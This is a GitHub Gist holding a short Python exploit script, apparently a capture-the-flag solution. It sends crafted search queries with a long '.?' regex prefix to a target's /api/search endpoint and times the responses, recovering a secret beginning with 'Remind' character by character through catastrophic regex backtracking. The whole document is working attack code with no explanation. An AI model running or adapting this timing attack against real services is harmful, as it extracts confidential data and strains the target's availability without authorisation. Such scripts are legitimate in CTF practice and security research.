Created
July 16, 2020 16:08
-
-
Save UltramanGaia/597d44aee03dd0bf724f223855e59903 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import time | |
import string | |
import requests | |
proxies = {"http":"http://127.0.0.1:28080"} | |
proxies={} | |
url = 'http://192.168.83.147:49670' | |
N=4000 | |
u = url + '/api/search?channel="""&q="{}{}{}'+'@"&' | |
s = requests.session() | |
prefix='.?'*N | |
#test for Reminder | |
result = "^Remind" | |
for i in range(0,5): | |
rr = [] | |
r = s.get(u.format("@","@", prefix)) | |
for c in string.ascii_uppercase+string.digits+"_-}": | |
total=0 | |
for j in range(10): | |
t1 = time.time() | |
r = s.get(u.format(result,c, prefix), proxies=proxies) | |
t2 = time.time() | |
total += t2-t1 | |
rr.append([c, total]) | |
# rr.append([c,t2-t1]) | |
# print("[+] {} - {}".format(c,t2-t1)) | |
rr = sorted(rr, key = lambda x: x[1]) | |
for d in rr[::-1][:3]: | |
print('[*] {} : {}'.format(d[0], d[1])) | |
print("---------------------") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment